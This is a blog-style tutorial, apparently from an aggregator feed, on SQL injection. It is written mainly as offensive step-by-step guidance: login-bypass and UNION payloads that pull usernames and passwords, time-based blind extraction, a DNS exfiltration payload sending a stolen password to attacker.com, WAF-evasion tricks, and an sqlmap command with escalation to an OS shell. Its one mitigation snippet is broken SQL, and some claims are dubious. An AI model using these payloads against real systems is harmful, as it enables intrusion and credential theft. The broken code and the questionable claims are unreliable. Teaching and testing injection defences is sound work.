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Introduction:
SQL injection (SQLi) remains one of the most critical web application vulnerabilities, allowing attackers to manipulate database queries. This article explores advanced SQLi techniques, detection methods, and hardening strategies for developers and security professionals.
Learning Objectives:
- Understand common SQL injection attack vectors.
- Learn how to detect and exploit SQLi vulnerabilities.
- Implement mitigation techniques to secure databases.
1. Basic SQL Injection Detection
Command:
' OR '1'='1
Step-by-Step Guide:
- Inject `’ OR ‘1’=’1` into a login form’s username/password field.
- If the application logs you in without valid credentials, it’s vulnerable to SQLi.
- This payload bypasses authentication by forcing the query to evaluate as true.
2. Union-Based Data Extraction
Command:
' UNION SELECT username, password FROM users--
Step-by-Step Guide:
- Identify the number of columns using `ORDER BY` (e.g.,
ORDER BY 5--). - Once column count is known, use `UNION SELECT` to extract data.
- Replace `username, password` with target columns and `users` with the table name.
3. Blind SQL Injection with Time Delays
Command:
'; IF (1=1) WAITFOR DELAY '0:0:5'--
Step-by-Step Guide:
1. Inject a time-delay payload like above.
- If the response is delayed by 5 seconds, the application is vulnerable.
- Use this to exfiltrate data bit-by-bit (e.g.,
IF (SUBSTRING(password,1,1)='a') WAITFOR DELAY...).
4. Out-of-Band Data Exfiltration (DNS Lookup)
Command:
'; DECLARE @data VARCHAR(1024); SET @data=(SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\'+@data+'.attacker.com\share"')--
Step-by-Step Guide:
1. Host a DNS listener (e.g., using `tcpdump`).
- Inject the payload to force the server to resolve a domain containing stolen data.
3. Monitor DNS logs for exfiltrated information.
5. Mitigation: Parameterized Queries (Python Example)
Code Snippet:
cursor.execute("SELECT FROM users WHERE username = %s AND password = %s", (username, password))
Step-by-Step Guide:
1. Use prepared statements instead of string concatenation.
- Libraries like `psycopg2` (PostgreSQL) or `sqlite3` enforce parameterization.
3. This prevents attackers from manipulating query logic.
6. Web Application Firewall (WAF) Bypass Techniques
Command:
/!50000SELECT/ password FROM users
Step-by-Step Guide:
- Use inline comments (
/! /) or unusual syntax to evade WAF rules.
2. Encode payloads (e.g., hex, URL encoding).
3. Test with obfuscated variants like `SEL%0bECT`.
7. Automated SQLi Scanning with SQLmap
Command:
sqlmap -u "https://example.com/login" --data="username=admin&password=123" --risk=3 --level=5
Step-by-Step Guide:
1. Install SQLmap (`pip install sqlmap`).
2. Use `–data` to specify POST parameters.
- Escalate with `–os-shell` for full system access if vulnerable.
What Undercode Say:
- Key Takeaway 1: SQLi is preventable with proper input validation and parameterized queries.
- Key Takeaway 2: Advanced attacks (blind/OOB) require layered defenses like WAFs and logging.
Analysis:
Despite being a decades-old vulnerability, SQLi still ranks 1 in OWASP Top 10 due to poor coding practices. Organizations must prioritize secure SDLC, regular penetration testing, and runtime protection. Tools like SQLmap automate exploitation, but defenders can leverage DAST/SAST to catch flaws early.
Prediction:
As APIs and microservices grow, SQLi will evolve into NoSQL/GraphQL injection variants. AI-powered code auditors (e.g., GitHub Copilot for security) may reduce human errors, but attackers will increasingly exploit logic flaws over syntax-based injections.
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Reported By: Zlatanh Sql – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
